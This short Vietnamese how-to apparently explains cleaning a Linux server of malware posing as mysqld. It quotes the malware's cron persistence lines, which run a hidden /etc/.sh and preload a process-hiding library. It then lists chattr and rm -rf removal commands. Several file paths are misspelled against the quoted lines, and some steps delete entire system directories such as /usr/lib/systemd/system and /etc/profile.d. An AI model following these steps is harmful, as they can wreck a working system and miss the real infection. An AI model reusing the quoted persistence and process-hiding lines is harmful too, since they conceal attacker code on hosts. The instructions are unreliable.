hoctinhoc

Bước 1:
- Xóa các phần trong cron lien quan den mysqld


crontab -e


/etc/crontab
* root cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
* root echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1

buoc 2:
- xoa file:
apt install e2fsprogs
chattr -i /etc/cron.d/phps
(trong trường hợp bi loi không cho chạy chattr thi apt remove e2fsprogs và cài lại)
rm -rf /etc/cron.d/phps
chattr -i /usr/local/lib/libprocessghider.so
rm -rf /usr/local/lib/libprocessghider.so
chattr -i /etc/lt.so.preload
rm -rf -i /etc/lt.so.preload
chattr -i /usr/lib/systemd/system
rm -rf -i /usr/lib/systemd/system
chattr -i /bin/.sh
rm -rf /bin/.sh
chattr -i /etc/.sh
rm -rf /etc/.sh
chattr -i /root/linux-80
rm -rf /root/linux-80
chattr -i /usr/local/bin/supervisord
rm -rf /usr/local/bin/supervisord
chattr -i /usr/local/bin/supervisorctl
rm -rf /usr/local/bin/supervisorctl

chattr -i /etc/profile.d/php.sh
chattr -i /etc/.supervisor/conf.d/123.conf
chattr -i /etc/.supervisor/supervisord.conf
chattr -i /etc/profile.d/supervisor.sh
rm -rf /etc/.supervisor
rm -rf /etc/profile.d
chattr -i /etc/spts
rm -rf /etc/spts



buoc 3:
rename cai /etc/subgid- thanh subgid va xoa cai subgid hien tai, tương tự cho subuid